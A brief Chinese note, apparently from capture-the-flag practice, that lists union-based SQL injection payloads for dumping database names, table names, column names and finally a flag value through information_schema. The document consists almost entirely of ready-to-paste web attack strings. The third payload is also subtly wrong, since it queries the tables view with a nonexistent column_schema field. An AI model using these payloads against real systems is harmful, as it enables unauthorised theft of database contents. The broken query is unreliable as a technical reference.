有回显的注入三部曲
爆库、爆表、爆字段
0 union select 1,2,group_concat(schema_name),4 from information_schema.schemata
0 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema=0x666C6167
0 union select 1,2,group_concat(column_name),4 from information_schema.tables where column_schema=0x666C6167
0 union select 1,2,group_concat(flag),4 from flag.key1
